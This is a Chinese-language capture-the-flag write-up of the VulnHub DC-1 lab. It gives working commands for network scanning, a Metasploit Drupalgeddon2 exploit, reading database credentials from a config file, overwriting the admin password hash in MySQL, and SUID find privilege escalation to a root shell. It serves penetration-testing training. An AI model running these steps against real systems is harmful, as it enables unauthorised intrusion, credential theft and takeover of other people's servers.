官网下载地址:vulnhub-DC-1靶机官方下载链接地址 下载压缩包之后解压,然后使用VMware 或者Oracle打开打开即可,那么我用前者VM来进行环境安装示例。



导入好了之后,把网络适配器模式改为nat模式(以便于找到靶机IP地址),!!这里注意我们得把Vmware的版本调低一点,高版本不适配DC1靶机。会导致崩溃。


改为15版本。




环境开启成功

任务目标:DC-1靶机服务器中存在5个flag信息,我们最终的目标一次获取flag1-flag4的信息,最终获取到root目录下的thefinalflag文件内容。
Ⅰ 使用arp-scan -l扫描内网IP信息,获取靶机服务器IP地址。

靶机服务器IP地址:192.168.94.194
Ⅱ 使用nmap工具对靶机开放端口及更详细端口服务信息进行探测扫描。
nmap -A -n 192.168.94.194
通过对扫描回显信息进行遍历研究,可以发现靶机开放了22(SSH)、80(http)、111(rpcbind)服务。并发现其80端口开放着Drupal 7的CMS。 通过访问网站证实服务的无误性。

msfconsole渗透get flag1 那么通过我们已知的CMS为Drupal 7,可以在msfconsole控制台搜索相关的exp进行渗透测试。并且通过网上查阅得知Drupal 7.x 存在代码执行漏洞,漏洞编号为CVE-2018-7600 。打开MSF控制台,通过search命令查找CVE-2018-7600 的漏洞信息:

在控制台输入use exploit/unix/webapp/drupal_drupalgeddon2使用该模块,通过show options查看需要设置的参数:

此处只需设置rhosts为DC-1即可:set rhost 192.168.94.194,设置完成后使用exploit对靶机进行攻击,成功连接到DC靶机并发现flag1:

使用cat命令查看flag1.txt的内容由此发现了flag2的线索。

翻译:每个好的 CMS 都需要一个配置文件 - 您也是如此。 那么我们可以使用Python生成一个临时的shell,以便我们后续开展渗透测试的便捷性。
python -c 'import pty;pty.spawn("/bin/bash")'
那么我在经历过十几分钟的文件目录遍历后,终于在/var/www/sites/default目录发现settings.php配置文件,从配置文件中获取到两条关于flag3的重要信息:


● flag2 ● Brute force and dictionary attacks aren’t the ● only ways to gain access (and you WILL need access). ● What can you do with these credentials?
Ⅰ 通过上面查看setttings.php文件中,我们可以发现数据库的用户和密码。

Ⅱ Drupal数据库中存储的密码散列由自带的password-hash.sh生成,那么发现靶机服务器上面存在一个生成密码的脚本。进入脚本目录/var/www/使用php ./scripts/password-hash.sh admin生成密码为admin的散列

www-data@DC-1:/var/www$ php ./scripts/password-hash.sh admin
php ./scripts/password-hash.sh admin
password: admin hash: $S$DKq2veWdT751EnHsjo0h6lWeFUYC.muvHD.9qtLtYOA968QN1YOCⅢ 通过上面获取到的数据库账号密码连接数据库,通过对数据库的遍历后得知用户信息存储在drupaldb库里面的users表中。

www-data@DC-1:/var/www$ mysql -udbuser -pR0ck3t
mysql -udbuser -pR0ck3t
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 76
Server version: 5.5.60-0+deb7u1 (Debian)
Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| drupaldb |
+--------------------+
2 rows in set (0.00 sec)
mysql> 通过数据drupaldb库,然后查询表。可以看到存在users表。
mysql> use drupaldb;
use drupaldb;
Database changed
mysql> show tables;
show tables;
+-----------------------------+
| Tables_in_drupaldb |
+-----------------------------+
| actions |
| authmap |
| batch |
| block |
| block_custom |
| block_node_type |
| block_role |
| blocked_ips |
| cache |
| cache_block |
| cache_bootstrap |
| cache_field |
| cache_filter |
| cache_form |
| cache_image |
| cache_menu |
| cache_page |
| cache_path |
| cache_update |
| cache_views |
| cache_views_data |
| comment |
| ctools_css_cache |
| ctools_object_cache |
| date_format_locale |
| date_format_type |
| date_formats |
| field_config |
| field_config_instance |
| field_data_body |
| field_data_comment_body |
| field_data_field_image |
| field_data_field_tags |
| field_revision_body |
| field_revision_comment_body |
| field_revision_field_image |
| field_revision_field_tags |
| file_managed |
| file_usage |
| filter |
| filter_format |
| flood |
| history |
| image_effects |
| image_styles |
| menu_custom |
| menu_links |
| menu_router |
| node |
| node_access |
| node_comment_statistics |
| node_revision |
| node_type |
| queue |
| rdf_mapping |
| registry |
| registry_file |
| role |
| role_permission |
| search_dataset |
| search_index |
| search_node_links |
| search_total |
| semaphore |
| sequences |
| sessions |
| shortcut_set |
| shortcut_set_users |
| system |
| taxonomy_index |
| taxonomy_term_data |
| taxonomy_term_hierarchy |
| taxonomy_vocabulary |
| url_alias |
| users |
| users_roles |
| variable |
| views_display |
| views_view |
| watchdog |
+-----------------------------+
80 rows in set (0.00 sec)
mysql> 查询users表中发现存在这uid,name,pass列字段。
mysql> select uid,name,pass from users;
select uid,name,pass from users;
+-----+-------+---------------------------------------------------------+
| uid | name | pass |
+-----+-------+---------------------------------------------------------+
| 0 | | |
| 1 | admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR |
| 2 | Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg |
+-----+-------+---------------------------------------------------------+
3 rows in set (0.00 sec)那么我们可以对admin的密码进行更新,在web页面进行登录(这里注意更新的密码必须要使用我们之前使用脚本生成的加密 密码散列才能成功更新)
mysql> update users set pass="$S$DKq2veWdT751EnHsjo0h6lWeFUYC.muvHD.9qtLtYOA968QN1YOC" where name="admin";
<6lWeFUYC.muvHD.9qtLtYOA968QN1YOC" where name="admin";
Query OK, 1 row affected (0.00 sec)
Rows matched: 1 Changed: 1 Warnings: 0
mysql> 浏览器端访问DC-1的Web服务,使用admin/admin直接登录,点击Dashboard得到flag3:
flag3:Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.
翻译:特殊的PERMS将帮助查找密码,但您需要执行该命令来计算如何获取阴影中的内容。
那么上述得到的信息应该是flag4的和最后thefinalflag的线索。 find系统查找get flag4 在上一题的线索中,使用find命令查找系统当中存在的flag文件
www-data@DC-1:/var/www$ find / -name "flag*"
find / -name "flag*"
/home/flag4
/home/flag4/flag4.txt
/var/www/flag1.txt
/usr/src/linux-headers-3.2.0-6-686-pae/include/config/zone/dma/flag.h
/usr/share/doc/tk8.5/examples/images/flagdown.xbm
/usr/share/doc/tk8.5/examples/images/flagup.xbm
/usr/include/X11/bitmaps/flagdown
/usr/include/X11/bitmaps/flagup
/usr/lib/gcc-4.9-backport/lib/gcc/i486-linux-gnu/4.9/plugin/include/flags.h
/usr/lib/gcc-4.9-backport/lib/gcc/i486-linux-gnu/4.9/plugin/include/flag-types.h
/usr/lib/perl/5.14.2/auto/POSIX/SigAction/flags.al
/sys/devices/virtual/net/lo/flags
/sys/devices/pci0000:00/0000:00:11.0/0000:02:01.0/net/eth0/flagscat命令查看/home/flag4/flag4.txt获得thefinalflag的线索:
www-data@DC-1:/var/www$ cat /home/flag4/flag4.txt
cat /home/flag4/flag4.txt
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?翻译:你能用同样的方法在根目录中查找或访问标志吗? 可能。但也许没那么容易。或者也许是这样?
SUID提权get thefinalflag
suid可以让调用者以文件拥有者的身份运行该文件,运行root用户所拥有的suid的文件,那么运行该文件的时候就是root用户的身份。常用的suid提权指令: nmap vim find bash more less nano cp 下列命令可以查找在系统上运行的所有suid可执行文件:
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;接下来在靶机服务器中查找suid可执行文件。
www-data@DC-1:/var/www$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/bin/mount
/bin/ping
/bin/su
/bin/ping6
/bin/umount
/usr/bin/at
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/find
/usr/sbin/exim4
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/sbin/mount.nfs
www-data@DC-1:/var/www$/usr/bin/find即find命令具有suid权限,提权得到root权限并获取到thefinalflag:
www-data@DC-1:/var/www$ find / -exec "/bin/sh" \;
find / -exec "/bin/sh" \;
whoami
whoami
root
cd /root/
cd /root/
ls
ls
thefinalflag.txt
cat thefinalflag.txt
cat thefinalflag.txt
Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7vulnhub—DC-1靶机存在五个flag文件,让渗透者可以体验闯关的流程。相关技术涉及到了渗透技术、数据库技术、Linux操作系统运维命令等。循序渐进的获取每一个flag线索并最终得到最后的flag信息。
创作不易,还请三连!